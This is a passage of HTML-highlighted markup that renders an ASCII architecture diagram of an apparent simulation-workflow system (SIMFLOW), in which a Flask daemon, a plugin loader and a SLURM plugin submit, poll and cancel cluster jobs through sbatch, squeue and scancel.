&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;get_default_params&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;reads&lt;/span&gt; &lt;span class="n"&gt;XML&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;SIMFLOW_XML_PATH&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;get_simulation_settings&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;reads&lt;/span&gt; &lt;span class="n"&gt;JSON&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+--------------------------------+----------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+---------------------------------&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="o"&gt;---------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;PCellManager&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;async&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;initiate_simulation_workflow&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;update_simulation_workflow&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;stop_simulation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;delete_simulation&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;DatabaseManager&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SQLite&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;MySQL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pcell&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;failure_cache&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;simstatus&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request_id&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+---------------------------------&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="o"&gt;----------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;job_operation&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plugin&lt;/span&gt; &lt;span class="n"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;cancel&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+--------------------------------|-----------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+-----------------------------------|--------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+--------------------------------------|----------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;HTTP&lt;/span&gt; &lt;span class="n"&gt;API&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;+-----------------+-----------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;plugin_name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;/...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+------------------------------------------------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;SIMFLOW&lt;/span&gt; &lt;span class="n"&gt;DAEMON&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;SIMFLOW_DAEMON_LISTEN_PORT&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8079&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+-------------------------------+---------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Plugins&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Daemon&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Dynamically&lt;/span&gt; &lt;span class="n"&gt;loads&lt;/span&gt; &lt;span class="n"&gt;plugins&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt; &lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;SIMFLOW_PLUGINS_PATH&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;doc_name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Calls&lt;/span&gt; &lt;span class="n"&gt;plugin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Markdown&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;HTML&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;Jinja2&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Registers&lt;/span&gt; &lt;span class="n"&gt;plugin&lt;/span&gt; &lt;span class="n"&gt;routes&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+-------------------------------+---------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+-------------------------------&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="o"&gt;---------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;SLURM&lt;/span&gt; &lt;span class="n"&gt;Plugin&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;slurm&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+---------------------+&lt;/span&gt; &lt;span class="o"&gt;+-----------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;operation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;SlurmInfo&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sbatch&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;SlurmManager&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;squeue&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;SlurmAPIManager&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;cancel&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;scancel&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;SlurmDocsManager&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+-----------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+---------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;slurm&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;health&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;slurm&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;submit&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;slurm&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cancel&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+-----------------------------------------------------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+------------------------------------------------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sbatch&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;squeue&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;scancel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+--------------------------------------&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;--------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;SLURM&lt;/span&gt; &lt;span class="n"&gt;CLUSTER&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+----------------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Compute&lt;/span&gt; &lt;span class="ne"&gt;Node&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Job&lt;/span&gt; &lt;span class="n"&gt;Scheduler&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;runsim&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="n"&gt;executed&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;slurmctld&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;+----------------------+&lt;/span&gt; &lt;span class="o"&gt;+----------------------+&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;+-----------------------------------------------------------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v&lt;/span&gt;
